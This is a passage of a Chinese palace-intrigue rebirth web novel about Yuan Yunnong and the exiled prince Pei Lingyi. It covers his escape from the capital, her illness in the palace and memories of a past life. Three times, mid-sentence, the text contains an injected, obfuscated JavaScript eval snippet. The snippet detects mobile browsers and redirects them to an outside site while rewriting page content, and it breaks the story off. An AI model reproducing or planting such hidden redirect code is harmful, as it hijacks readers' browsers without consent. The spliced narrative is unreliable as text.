裴令仪低着头吃果子。 被打骂,食不果腹,衣不蔽体的时候他也都求过神佛,只是都没有得到回应。 所以他就不信了。 但是昨日,他又开始信了。 “在宫里吃得饱吗?”元韫浓问。 裴令仪应了一声:“嗯。” 元韫浓知道他在骗人,把手里的点心都塞给了他,“多拿些回去,饿了再吃。” “阿姊。”裴令仪抬起脸,“你又何故待我如此?” 他眸若点漆,水光澹澹,极其认真地注视着元韫浓。 塞点贡品给他,他便觉得自己待他好了。可自己也不过是随手作为的攻心市恩罢了。 元韫浓无限心酸。 想到前世的裴令仪,又觉得他可怜起来。 元韫浓轻叹一声,抬手摸了摸裴令仪的脸庞。 冰凉柔软的指腹摩挲过裴令仪颧骨上的淤青,再摸到眼尾未结痂的血痕。 “清都,你不要自苦。”她轻声道。 裴令仪眸光一颤,许久,极低地应了一声:“……嗯。” 前世裴令仪就是个锯嘴葫芦,打断了腿都说不出什么话来。 所以元韫浓也没指望他这辈子就能多说几句了。 她示意裴令仪吃点心,裴令仪就低着头吃。 “干吃很无聊的,我跟你念点什么。”元韫浓觉得这是个教育的好机会。 裴令仪一边吃,元韫浓一边给他念《道德经》。 多好,修身、治国、用兵、养生,一应俱全,无为而治。 贵柔守雌,和光同尘。 她不信裴令仪不成君子。 裴令仪看着元韫浓,不理解但尊重。 “上善若水,水善利万物而不争,处众人之所恶,故几于道。”她回忆起里面的篇章背道。 她先前在家中跟元蕴英扯头花,岐国公不好偏颇原配之女,也不好亏待长公主之女,只能各打五十大板。 元蕴英罚跪祠堂,她这个体弱多病大喘气就晕倒的,自然是罚抄书。 抄的尽是些让人静心明理的书,元韫浓道理没往心里去,字倒是全记着了。 越念越困,元韫浓念到后面反而自己睡着了。 看元韫浓越念声音越轻,睫毛也一扇一扇的,摇摇晃晃地要倒下了。 裴令仪伸出双手,像元韫浓接住他一样,接住了元韫浓。 元韫浓倒在他怀里睡着了。 裴令仪低眸看着元韫浓鸦青的眼睫,递出手指,轻轻触碰了她的睫毛。 她睡梦中似乎也并不安宁,睫毛颤了一下。 裴令仪的心也颤了一下,蜷缩了手指,收了回去。 元韫浓的梦里有很多人都出现了,但最深刻的还是裴令仪。 他们牵扯了那么久,怎么能不深刻。 清河王世子几乎是被幽禁在宫中,即便到了年龄也没出宫没袭爵。 有朝一日不知所踪,只不过没人知道他去了哪里,也没人关心他的死活。 不过元韫浓知道。 毕竟她是看着裴令仪逃离京城的。 元彻回身为中郎将,属光禄勋,位列九卿之一。 中郎将这种职位,多从亲子义子,皇亲国戚里选,必定是不会背叛的人。 这跟皇帝亲卫得从世家子弟里挑姿容美,武艺高,家室好的,也是一个道理。 元彻回能做中郎将,也是沾了惠贞长公主继子这一名分。 中郎将要管辖禁卫军,宫中侍卫调度,京城治安,也是元彻回管。 元韫浓是左右睡不着才一时兴起,去给夜半在城门巡视的元彻回送些吃食。 攻心市恩,笼络人心。 裴令仪也是那时候逃的。 元韫浓拎着食盒上前,元彻回和一众金吾卫神情严肃,正在低声交待着什么。 “阿兄。”元韫浓轻喊一声。 元彻回忙大步走来,接过了元韫浓手里的食盒,“天寒地冻,怎么这会出来了?” “想着天气冷,阿兄却还在外头巡视,便来送些酒菜。等闲下来些了,可与同僚们一块垫垫肚子。”元韫浓在外头从来善解人意。 元彻回目光柔和下来,“回去吧,妹妹,近来京城不太平。” 见氛围确实有些躁动,元韫浓问:“这是怎么了?” 元彻回压低了声音,在元韫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476430|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浓耳边道:“裴清都失踪,金吾卫前去追拿者杳无音信,恐有事变。” 元韫浓眸光稍稍一震,便笑道:“我知道了,阿兄去忙吧,我马上便回去了。” “好,万事小心。”元彻回点了点头,摸了摸元韫浓的鬓角。 他又转头叮嘱小满:“保护好你家主子,雪天路滑,车马慢行。” 小满应声。 元韫浓目送元彻回和和一众金吾卫远去。 城门外的行商队伍正在整顿,马匹焦躁地打了个响鼻,被旁边的胡商一声低斥。 雪覆京华,冻彻人骨。 没人发现,只是元韫浓认出了城门外等候的商队里的一匹马。 那匹黑马是惠贞长公主送给她的礼物,只是野性难驯,元韫浓抽了几天也没见得驯服了。 沈川和慕水妃都在旁边安慰她,这反而让她更恼了。 裴令仪是没有马的,那些官宦子弟都嘲笑他,元韫浓就顺势把那马交给了裴令仪来驯。 表面上是来显自己大度,私底下却指桑骂槐说那匹马是“听不懂人话的畜生”,交给裴令仪来驯正好。 后来裴令仪给那匹马取名为舞阳儿。 裴令仪生母是舞阳人,他给马起名叫舞阳儿,元韫浓也没上心。 元韫浓后面也没想要把那匹马要回来,相当于是给裴令仪了的。 没想到会出现在这里。 在看到黑马的那一刻,元韫浓敏锐地意识到了什么。 心跳声如鼓,她想起了那句诗。 二十报仇许人死,**不数舞阳儿。 不数舞阳儿…… 自当数他裴清都。 元韫浓猛地转过头,“小满!” 小满被她突如其来的激动情绪震了一下,“郡主?” “快!立即去叫阿兄……”话音未落,一把剑横在了颈间。 即使是在寒冬腊月里,元韫浓也依然能感受到剑锋逼近的森森寒意。 还有那种浓重的血腥气,带着铁锈的味道。 剩下的话卡在了喉咙口,元韫浓看向了握剑的那个人。 “郡主!”霜降惊惶道。 小满已经拔了刀。 元韫浓闭了闭眼,“裴清都。” “好聪慧啊。”雪地里一声叹息般的感慨,裴令仪问,“阿姊是怎么知道的?” “二十报仇许人死,**不数舞阳儿。”元韫浓看向城门外的那匹黑马,“你的舞阳儿就在城门外,叫我怎么不知道?” 裴令仪弯了一下唇角,“分明是阿姊的舞阳儿,我不过借来一用罢了。” 元韫浓转头看向他,“你还真是胆大妄为,我哥哥就在附近巡查,你就不怕我一嗓子把所有人都喊来吗?” “阿姊可尽管喊一声试试,是我的剑快,还是阿姊的舌头快。”裴令仪带了些笑,微微挑眉。 他的目光流连在元韫浓脸上,“不过阿姊这般惜命之人,可真会为这一时意气,还是说为了这忠君爱国之心,反搭上卿卿性命吗?” 元韫浓半眯起眼睛,“杀了我,你还逃得了吗?” 裴令仪一副洗耳恭听的模样,“此话怎讲?” “主君!你切莫听信这女人妖言惑众!杀了她一了百了,以绝后患!”裴七急道。 “先不说你们能不能在杀了我后,还拦得住小满去传声,就算拦得下她,能保证金吾卫听不到动静吗?” “杀了我,不消半刻,附近的金吾卫便能找过来。” “若你们毁尸灭迹,时辰耽搁得起吗?商队在外滞留那么久,金吾卫必然起疑心。” “还是说你打算放弃裴七裴九中的一个,来拾残局?”元韫浓口齿清历。 裴令仪盯着元韫浓看,看得她心里没底。 她刚刚那些话自然都是吓唬裴令仪的。 首先第一点,她就舍不下自己的命。 如果裴令仪真想杀她,顶多风险大点,也不是不可能逃走。 她在裴令仪面前居高临下惯了,才敢冒这个险。 裴令仪叹喟道:“阿姊当真是伶俐啊。” 心头稍稍一松,看来有戏。元韫浓眸光一闪,“你这要去哪儿啊?清、都。” 明明脖颈上还架着刀,元韫浓抑扬顿挫的语调却像是胜券在握的那一个。 第7章 苦樱桃 裴令仪轻叹一声,黑色兜帽滑落,骨秀神清。 在燃烧照明的火光里,他的脸盛放出堪称妖异的诡谲。 他对元韫浓微微一笑:“自然是逃命去啊。” 黑云密布,朔风愈寒。 元韫浓这才发觉裴令仪素净的黑衣似乎是被濡湿了,因为黑色看不出什么不对,但是凭借这血腥气,能猜得出是血。 只是不知道这血是裴令仪,还是别人的。 他握着剑的那只手,正不断地往下滴血。 “我若是继续留在这里,惠帝会放过我吗?”裴令仪的笑意并没有抵达眼底。 当然不会。 元韫浓很清楚这一点。 早在十几年前,甚至于更早,早到裴令仪在娘胎里的时候,惠帝就想要他死。 这或许是他忍无可忍后的绝命一搏,或许是他韬光养晦后的蓄谋已久。 但无论如何,元韫浓的立场和身份都应该拦下他。 如若让裴令仪活着离开京华,他必然会成为南朝的心腹大患,甚至于会颠覆南朝。 难道要将她的来日,元家的来日,全系于她一念之间吗? 元韫浓从不是心慈手软的人。 “阿姊,我只挣这一条残命。”裴令仪说道。 他一面说,一面将剑锋更贴近元韫浓脖颈,似乎是做好了破釜沉舟的准备。 元韫浓眸光一闪,迅雷不及掩耳之势地拔下发钗刺向裴令仪。 她的动作使自己的侧颈碰到了吹毛断发的利剑,留下一道细长的血痕。 裴令仪一怔,下意识将剑挪开了一些。 发钗距离他的咽喉咫尺之间,而他的剑也架在元韫浓肩上。 小满和裴七裴九都拿出了武器,相对严阵以待。 “阿姊这是做什么?”裴令仪垂眼看着闪着幽暗金光的发钗。 盯着裴令仪那张脸,元韫浓将发钗攥到掌心生疼,她看到裴令仪握着剑的那只手一直在流血。 一滴一滴砸落在地上,汇聚成一滩浅浅的血洼。 发钗从咽喉处离开,却扎进了裴令仪的肩膀。 裴令仪闷哼一声,后退了一步。 “主君!”裴七裴九脸色大变。 元韫浓抽回了发钗,仿佛刚才那下只是她泄愤的举动。 裴令仪关注着元韫浓的表情,“阿姊?” 元韫浓闭上了眼睛,深吸了一口气。 意识到了什么,裴令仪眉眼略有松怔,朝着元韫浓行了大礼,跪地叩首,“郡主永无忧。” 元韫浓恼火地一脚踹在裴令仪肩膀上刚刚被她扎的伤处,裴令仪吃痛下向后踉跄着斜了斜,但很快稳住了身形。 “滚!”元韫浓怒道。 她甚至为自己这一刻的决定恼怒。 裴令仪深深地看了她一眼,转身离去,不再回头。 “郡主!”霜降急道,“就这么放他走了?” 真叫裴令仪走了,等同于放虎归山。 从此苍鹰解扣、鸟脱樊笼,裴令仪若是再回来,必然叫取惠帝项上人头。 元韫浓闭了闭眼,“南朝气数将尽,若是以后三表哥当不成皇帝,我总要为自己留条后路。” 这话也不知道存有几分自我安慰。 裴七同样焦急:“主君,万一朝荣郡主回头就将此事告知元彻回呢?” “若真如此,那便是我命了。”裴令仪没再回头。 趁着夜色翻身骑上舞阳儿,商队启程,在二者掩护之下,裴令仪奔赴逃路。 风雪夜茫茫,裴令仪骑着黑马破开冷冽肃杀的雪与风,日后且作亡命徒,待他杀回京华。 他一抬头,万山载雪,明月薄之。 该说是畅快还是窃喜,是动容还是晦涩不明,那一轮黯淡的月,却再次照亮了他龙驹夜逃的路。 此回,只挣得残命一条。 元韫浓两眼一睁就是自己枕在裴令仪膝上。 裴令仪垂着眼凝视着她,见她醒来,扶了她一把。 前世再亲密也有了,今生元韫浓也不会为这些举动而心慌意乱。 更何况,元韫浓本就不是在意这些的人。 他们总说女子的贞洁在罗裙之下,可元韫浓总不以为然。 那是什么鬼东西?怎么男子有通房,女子便得是完璧之身?无非是用来束缚女子的鬼扯罢了。 等她做了皇后,就像前世那样把这些鬼规矩全给…… 诶? 她这一世的目标不是沈川吗? 沈川在她眼里,真的比得过荣华富贵,权势滔天吗? 元韫浓反应过来。 “阿姊睡着了。”裴令仪神色如常。 元韫浓没想到这一边。 她是因为前世习惯使然,裴令仪又是怎么用平常心待她如此亲近? 她看了一眼外边的天色,想到跟惠贞长公主约好的装晕战术,有些心虚。 她是忘了个一干二净,反而睡着了。 “咳咳。”元韫浓还真觉得脑袋有点昏沉,咳嗽了两声。 总不至于做了个前世的梦,现在也跟着头疼了吧? 元韫浓隐约有自己又要病了的预感。 “阿姊?”裴令仪用询问的眼神看着元韫浓,“着凉了吗?” 元韫浓摆了摆手,“可能是睡太久了,我得回去了。” 裴令仪抿了抿唇,“那明日……” “想什么呢?我是来受罚的,自然还要来。”元韫浓都没想明白裴令仪怎么想的。 想来估计是被抛下久了,总觉得会被丢下。 “嗯。”裴令仪点了一下头。 元韫浓出去前又偷了点贡品塞在裴令仪怀里,“多藏些回去,人学机灵点,别老跟那几个混账硬碰硬的。” 裴令仪低着头,“好。” “我先走了,你也早些回去。”元韫浓叮嘱完,便行色匆匆地离开。 再晚些,惠贞长公主怕是要等急了找人来寻,要是撞见了裴令仪,那可就说不好了。 回去的马车上,惠贞长公主果然问了:“今个儿怎么这么迟呢?说好的装晕带你回去,怎么也没个动静?” “母亲,我是想着头一日便装晕,不是所有人都知道我是躲懒了吗?总得装个几日的。”元韫浓早有准备。 “先前怎么没见你说呢?”惠贞长公主点了一下元韫浓的额头。 因为现在要教裴令仪了。 但元韫浓总不能说实话。 她靠在惠贞长公主身边,“实际上是打了个瞌睡睡过去了,这才晚了些。” 这也是实话。 “你啊。”惠贞长公主无可奈何,“罢了,不过也就这几日的事,这几日里母亲陪你进宫,哪天不顺畅了直接装就是,母亲自会接应你。” “我就知道阿娘最好了。”元韫浓笑道,“那阿娘这几日便是要日日进宫了。” 惠贞长公主道:“无非在宫里陪陛下聊聊天,逛逛御花园的事。” 元韫浓心满意足,借口自己在太庙里头跪着又饿又无聊,叫霜降给自己备了饱腹的点心。 但把食盒提到裴令仪眼前的时候,裴令仪也没有很开心。 跟元韫浓设想的不太一样,“怎么了?” “阿姊脸色不太好,还是昨日里受了凉吗?”裴令仪问。 “倒也不碍事,我本就多病,你尝尝这羊肉和樱桃。”元韫浓把食盒往裴令仪面前推了推,催促道,“快吃,羊肉还热着呢。” 裴令仪依言吃起来。 “这羔羊还是我入宫前兄长刚烤的,在院子里支了架子,撒了佐料,刷上蜂蜜,烤得滋滋冒油。”元韫浓说,“我才尝了两块,兄长叫我带上宫里吃。” 可见他们岐国公府这一家子,除了岐国公,倒也没多敬上。 在太庙罚跪的时候吃烤羊,他们倒也没觉得有什么不对。 裴令仪低垂着眼眸,“是好吃的。” “那自然。”元韫浓颇为得意,指了指食盒里的樱桃和红绫饼,“瞧瞧这规格,都是按照曲江游宴来的。” 曲江游宴是为庆祝新科进士,一边观赏曲江边烟水明媚,春花烂漫,一边品尝宫廷御宴佳肴美味。 宴上必有樱桃,皇帝还会赐红绫饼。 裴令仪顿了顿,抬眼看向元韫浓,“阿姊是想我科考做官吗?” 哪是做官啊?是做皇帝。 元韫浓神情未变,“你日后必有大成,条条大路都能通往京华,科考不科考,自然随你心意。” “沈川走的就是科考路子。”裴令仪说。 “他是他,你是你,这怎么比?”元韫浓摇头。 “是我考虑不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她还多带了几本,交给裴令仪回去自己看。 “谢谢阿姊。”裴令仪接过来。 “你身边那两个侍卫,裴七裴九,应该也是会带书进来给你的吧?”元韫浓想起了一直跟着裴令仪的那两个人。 裴令仪顿了顿,“有些书,他们也是拿不到的。” “拿不到的,想要看的,都跟我说,就算是孤本我也能寻来。”元韫浓道。 “嗯。”裴令仪总算是露出了点笑。 在他那张漂亮且苍白的脸上,因为这点笑,死气沉沉一下子生动起来。 元韫浓莫名有了些成就感,甚至有些亢奋。 想想多厉害,她要是能养出个名垂千古的明君出来的话。 “要我给你念吗?”元韫浓问。 裴令仪看了元韫浓一眼,他总觉得元韫浓把他当小孩似的。 分明他只比元韫浓小了几个月。 他抿了抿唇,摇头。 元韫浓看上去颇为遗憾的模样。 “阿姊要睡一会吗?”裴令仪飞快地吃完了羊肉,留了两块红绫饼和樱桃,收拾进了食盒里。 留着还能慢慢吃,这个冬天总算不会太难熬了。 元韫浓原本不太困的,但是昨日起便头晕,再加上殿内因为她受罚备了炭火,烧得正旺,暖和得很,便有些昏昏欲睡起来。 “这地方就几个蒲团和拜垫,怎么睡呐?”元韫浓嘟嚷着抱怨。 裴令仪将所有蒲团和拜垫都摆在一块,“我想法子找些软垫来,明日便能叫阿姊躺得爽利些了。” 裴令仪连自己睡的都是破烂漏棉花的褥子,还想着给她找垫子。 唉,真是小可怜。 元韫浓说:“将就一下也无妨事。” 往软垫上一倒,她刚叹了口气,就被裴令仪用手轻柔地托起了头颈,挪到了腿上。 这位置刚好。 前世元韫浓也习惯了这样,她和裴令仪举止极尽亲昵,却也习惯了让彼此不痛快。 她睡得昏昏沉沉,直到要归家了才被叫醒。 第9章 病中梦 “阿姊对这场戏可还满意?”裴令仪似笑非笑,“你说我下一个该砍谁?沈兄好不好?” 元韫浓没有说话。 裴令仪看向她,发觉她在颤抖,脸色苍白,眼睛里流动着细碎的光影。 分不清那是春光的折射,还是泪光。 裴令仪僵硬了一下。 元韫浓自幼娇生惯养,别说是这番血腥场面了,哪怕是磕破了油皮,惠贞长公主都能搂在怀里心肝宝贝地心疼半天。 他居然把这枭首示众的场面,毫无保留地展现在元韫浓眼前? 他有些烦躁,“叫他们安生地死,是抬举他们了。” 见元韫浓眼底潋滟,还是直直地看着满地狼藉。 裴令仪伸手遮住了元韫浓的眼睛,虚揽着她往后回避了两步,“别看了。” 他姿态小心,把旁人都看得一愣。 “不看了,别怕。”他轻声说道。 元韫浓拽下他的手,泄愤般狠狠一口咬在了裴令仪的虎口上。 立马就尝到了血腥味,元韫浓睫毛受惊般颤动。 裴令仪却跟不会痛似的,表情都没变一下。 他仔细关注着元韫浓的表情,对着下属们低声命令:“处理干净。” 死士们动作麻利,很快就处理好了现场。 连青砖台阶上都泼了几盆水,血腥气都被冲刷得淡了不少。 元韫浓依然没松口,紧紧咬着裴令仪的手。 裴令仪抬手轻轻触摸了一下元韫浓的脸庞。 元韫浓终于松了口,嘴唇被血染得鲜红,她用手背一抹,在脸颊上留下一抹淡红的痕迹。 裴令仪见她眼尾和下睑都浮着病态的红晕,脸色却异常苍白。 似乎有什么东西滑过了她的脸庞,闪烁如同蝴蝶在双颊边。 那是眼泪吗? 砸落在裴令仪的手指上,带着不知名的分量,像是灼伤了手指,他蜷缩了指尖。 裴令仪深吸了一口气,将元韫浓推向了沈川,“我们走!” 死士们整齐划一地收刀,迅速撤离。 沈川连忙大跨步冲过去接过了元韫浓,“韫浓!” 元韫浓软倒在沈川怀里,抓住了自己发抖的手臂。 裴令仪和死士们消失在夜色之中,只留下满院的血腥与混乱,以及噤若寒蝉的官宦权贵们。 这场杀戮和裴令仪的回归,犹如一颗巨石投入平静的湖面,掀起了京城众人都刻意忽略的暗潮涌动。 风雨将至。 “主君,你的手……”裴九看着裴令仪的手,神态犹豫。 裴令仪看着自己虎口上深可见骨的咬痕,还在**毛地渗着血。 **以为常的疼痛。 “无碍。”裴令仪收回了视线。 裴七拧眉,“主君,此女不除,来日必有烧手之患。” “你多嘴了。”裴令仪冷声道。 裴七咬了咬牙,闭上了嘴。 在这一日后京华掀起了轩然大波,这事闹得满城风雨,金吾卫的巡视密不透风,挨家挨户上门搜查。 元韫浓却病倒了。 这也正常,她本就羸弱,又加上受了此等惊吓,没人觉得有什么不对。 这期间小满在窗口发现了好几次珍贵的安神药草,都被元韫浓命令着丢进池中沉塘。 枭首示众的场面实在是令人毛骨悚然,以至于元韫浓两世都忘不了。 裴令仪发觉了睡梦中的元韫浓似乎有些不安宁,见她脸颊浮着病态的红晕,顿觉不对。 “阿姊?”裴令仪轻唤一声。 没有回应。 他伸出手摸了摸元韫浓的额头,烫得吓人。 “阿姊!”裴令仪一把抱起元韫浓,朝着殿外走去,想要叫人。 “韫浓。”沈川和慕水妃一进殿内,就看到这一幕。 “这是怎么了?”慕水妃愣了愣,“令仪,你怎么在这里?” 他们是当着惠帝的面,禀了皇后来看元韫浓的。 惠贞长公主也在一旁。 这是有指示了,可以明目张胆来。 沈川也是一愣,忙圆场道:“啊,是韫浓心疼裴家阿弟在废宫那头天寒地冻的,便喊他来太庙这里陪着聊聊天。” 显然他也是知道裴令仪出入太庙的。 裴令仪眸色稍暗,元韫浓是真信得过沈川,这都跟沈川说了。 “原是这样。”慕水妃看元韫浓,伸出手摸了摸她的脸,“韫浓妹妹这是怎么了?” 裴令仪皱眉,“许是受凉染了风寒,像是病温。” “发烧了?”慕水妃见元韫浓入手烫人,忙道,“快快!快去叫太医来!” 沈川一惊,忙从裴令仪手里接过元韫浓,“我带韫浓去就近的宫殿,水妃,你快让霜降和小满去传太医,告知惠贞长公主一声。” 他大步朝外头走去。 慕水妃看了裴令仪一眼,“沈川他是关心则乱了,令仪你不能让别人知晓你在太庙这,剩下的便交给我们吧。” “放心,韫浓不会有事的。”她安慰了两句,便也跟了出去。 裴令仪一人站在原地,两手空空。 他垂着眼望着紧闭的大门。 一门之隔,他连出去看看元韫浓情况的机会也不会有。 惠贞长公主听到霜降来传报说郡主昏过去了,还以为女儿是终于熬不住了开始装病。 皇后一听也是那么想的。 她恨得牙痒,就这跪一会就受不住了?装什么呢? 连这会罚跪都不乐意受,要靠装病来推脱,朝荣那个死丫头,真是什么都不放在眼里。 慕湖舟本坐在下座,听了面露担忧,“表妹身子骨不好,又是凛冬,想来是冻着了染了风寒。” 一行人挪到元韫浓所在的殿中。 惠贞长公主本想替元韫浓兜底的,但见了元韫浓,才发觉元韫浓是真病了。 慕水妃正用拧干了的湿帕子轻轻擦拭元韫浓的脸颊,见父皇母后和姑姑过来,起身行礼。 惠贞长公主坐到床旁,摸了摸元韫浓的额头,“应怜。” 皇后倒是有些诧异,居然还真病了。 “怎么样了?”惠帝看向太医。 太医道:“回禀陛下,朝荣郡主受了凉,加之多思多虑,染了风寒,这才病温。” “父皇,方才太医已经给韫浓妹妹瞧过了,也开了方子,母妃宫里的人已经去煎药了。”慕水妃道。 慕湖舟顺势说:“表妹体弱,这回想来是有在太庙里潜心悔过,心怀歉疚,忧思过度的原因。” 惠帝皱眉,“既如此,那便也不用罚了。” 皇后皮笑肉不笑,“是啊,总不能叫朝荣病上加病吧。” 说完,她瞪了一眼慕湖舟。 她这儿子胳膊肘向外拐,她都不想多说什么。 还心怀歉疚,忧思过度呢!元韫浓怎么看都不像是会自我悔改之人,不指责他人就不错了! 也就她这傻儿子会被元韫浓的假面给骗了。 “那惠贞便替应怜多谢陛下娘娘了。”惠贞长公主道。 慕水妃看了看元韫浓,道:“宫里宫外来回奔波,唯恐妹妹又受了寒。在妹妹好些前,不如留在宫中,太医来瞧也便利许多。” 惠贞长公主意外地看了一眼慕水妃。 “姑姑放心,淑慎必然悉心照料。”慕水妃对长公主行了一礼。 “陛下,水妃所说,也不无道理。”惠贞长公主对惠帝道。 惠帝略一思索,“也好。” 皇帝都发话了,皇后千般万般不愿,也只能咬牙认了。 “淑慎年纪不大,照顾得好朝荣吗?不若本宫派两个得力的来看顾。”皇后心思一动,放在眼皮子底下可就方便了。 慕湖舟却偏偏又说:“母后放心,儿臣也会帮衬。” 皇后恨不得上去掌掴自己亲儿子几巴掌,叫他清醒清醒。 被儿子拆了台,皇后也只能道:“男女有别,你到底是外男,不方便。” “皇后多虑了,有霜降和小满在,满宫那么多人,再加上水妃,足矣。”惠贞长公主不轻不重道。 “皇后不必多心。”惠帝也道。 皇后脸上的笑都快挂不住了,“如此也好,也好。” 这假笑勉强维持到事情终了,回到了凤仪宫。 皇后直接摔了满桌的瓷器,“一个两个,简直是欺人太甚!” “本宫这皇后不当也罢,拱手让给惠贞算了!一个早早出嫁了的长公主,在这里耍什么威风?跟朝荣那个小**一唱一和,也不愧是母女!” “这也就罢了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476433|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有那个淑慎,日子好过了几日便敢舞到本宫面前来了?她又算什么东西,一个不受宠妃嫔所出的,既无同胞兄弟,又无母族可靠!” “湖舟也是,儿大不由娘,越大越做不得他主了,竟也是忘了谁怀胎十月才生下了他!” “什么东西都和本宫作对!本宫这皇后当了还有什么意思!” 一边的女侍跪成了一片,“娘娘息怒!” 皇后深吸了一口气,“太后娘娘何时从龙泉寺回来?” 女侍回道:“太后娘娘没给准信,但说了会尽早回来。” “好,等姑母回来,我看陛下还要再如何包庇惠贞她们!”皇后狞笑道,原本端丽的面容扭曲得不成样子。 宫女们连大气都不敢喘一下。 等到太后回宫,这局势怕是又要变了。 元韫浓留在宫中养病,由慕水妃照看,倒是方便了裴令仪来探看。 看着裴令仪给元韫浓喂药的动作,慕水妃若有所思。 “阿姊还没醒过吗?”裴令仪问。 慕水妃回过神,“中途也断断续续醒了几回,但都很快就睡过去了。” 裴令仪拿帕子擦拭元韫浓唇角的药汁,“那便是没起色。” 他垂着眼,注视元韫浓潮红的脸庞。 是因为他,雪地里救他,太庙里罚跪,来回奔波,都是因为他。 又是何苦? 裴令仪闭了闭眼,伸手拨开元韫浓额前的乱发。 他的手冰凉,元韫浓在热潮里寻着清凉处便不自觉贴近。 指尖蹭到了元韫浓发烫的眼尾,他长睫抖了一下。 “沈大哥……”元韫浓喃喃道。 裴令仪一僵。 向皇帝皇后请示过后,沈川也是进了宫的。 在旁边拧湿帕子的沈川闻言,丢下帕子走来,“怎么了?” “韫浓叫你呢。”慕水妃忙把他推过去。 裴令仪面色未变,暗自攥紧了掌心,“梦中呓语罢了。” 元韫浓在梦中也不安宁,睫毛犹如濒死的蝴蝶般颤动,一行清泪顺着脸颊流下。 “水妃姐姐。”她又念着。 慕水妃一听,推开沈川,自己凑过去握住了元韫浓的手,“在这呢,怎么了?” “怎么哭了呀?”慕水妃见了连忙拿帕子给元韫浓擦眼泪。 “阿姊多思多梦,怕是梦魇了。”裴令仪不动声色地拂开了慕水妃的手。 他眉头皱得更深。 元韫浓在梦里都喊了沈川和慕水妃,却偏偏没有他裴令仪。 元韫浓在梦里瞧见的却是裴令仪要砍沈川脑袋。 前世她刚成皇后之后,是跟裴令仪关系最紧张的一段日子。 原因有很多。 因为元韫浓赌气般,大肆搜罗和沈川神似形似的侍卫和宦官到身边,还不断提拔相似的官员。 因为沈川和慕水妃再婚之后,虽破镜重圆,伉俪情深,但夫妇二人仍对元韫浓念念不忘。 沈川和慕水妃再三递帖请求见元韫浓一面,但都被裴令仪拦了下来。 这二人即使已经知道元韫浓耍了手段心机,对其依旧全然抱以一种小妹妹性子天真又执拗,不过一时任性,犯了个小错罢了的宽容心态。 也只能怪元韫浓平时的形象深入人心。 瞒是不可能瞒一世的,何况还在裴令仪不断向元韫浓开放权限,允诺摄政的情况下。 在沈川再一次递帖求见皇后无果后,他当朝质问裴令仪。 在这之前他已经因为下朝后拦圣架而问此事,被裴令仪贬了官。 这回裴令仅更是怒不可遏。 元韫浓听闻了此事,却没听到后续,加之听到了慕水妃求见裴令仪被允,疑心裴令仪对沈川做了什么。 “裴令仪当真在朝堂上大发雷霆吗?”元韫浓皱着眉问霜降。 她直呼圣上名讳,满宫上下却无人觉得不对。 霜降点头,“沈大人的性子娘娘也是知晓的,只要认定了一件事情,怎么也要说。庙堂之中如此之多的臣子,他当众问陛下此事,必然会触怒陛下。” 更何况此事又和元韫浓有关。 在敏感时期涉及敏感之人的敏感之事,霜降都佩服沈川。 该说不愧是一日夫妻百日恩吗? 第10章 洪水猛兽 茶杯被“哐”地打翻在地,茶水倾泻一地。 热茶洒在手上生疼,侍卫愣在原地。 元韫浓眸色冰冷,“你算什么东西?敢来嚼陛下的舌根?再敢多嘴,本宫便让小满绞断你的舌头!” 天家之怒,满室人尽数跪下,噤若寒蝉。 元韫浓可不是什么好脾气的主,雷霆手段,赏罚分明。 “娘娘息怒!”侍卫忙磕头求饶。 元韫浓的提拔让他们这些人一飞冲天,一时间都忘却了自己是什么身份。 “本宫图的不过是你这张皮囊,别奢望你不该有的东西,守好自己的本分,安生演你的皮影戏。”元韫浓抬起了侍卫的下巴,染了鲜红蔻丹的指甲在上边掐出了指印。 她半眯起眼睛,“本宫想要这张皮相,还可以再找上千张万张,可你就只有这一张皮。其中的分量,你自己掂量清楚。” “小的知错!还请娘娘恕罪!”侍卫一个劲地磕头。 他一点没留余地,脑袋磕得“砰砰”响,额头上一片红肿,还渗了血。 元韫浓冷哼一声,昔日宽容仿佛只是黄粱一梦罢了。 她站了起来,“拖下去杖责二十。” “是。”小满应声。 元韫浓则带着霜降直奔圣宸宫。 裴令仪本在批奏折,等待慕水妃进宫觐见。 外头一阵喧哗:“皇后娘娘,诶!娘娘!陛下正在……” 霜降的声音:“不长眼睛的狗东西,连皇后都敢来拦?你有几个脑袋?” 紧接着门被“哐”地打开,元韫浓满面霜寒地闯了进来。 几个侍卫也跟了进来,满脸为难。 他们自然不敢对元韫浓动手,连拦都不敢拦。 先不说陛下宠爱,皇后自己在前朝也颇具影响。 “下去吧。”裴令仪摆了摆手。 侍卫如蒙大赦,退了出去。 霜降也得元韫浓的示意退下。 内殿只剩下了裴令仪和元韫浓。 “阿姊来是为了什么事?”裴令仪抬眼看着元韫浓。 元韫浓开门见山:“沈大哥呢?” “沈子谦?”裴令仪念了一遍,冷笑出声,“早杀了。” “杀了?”元韫浓脑中轰地一声,不可置信地后退了一步。 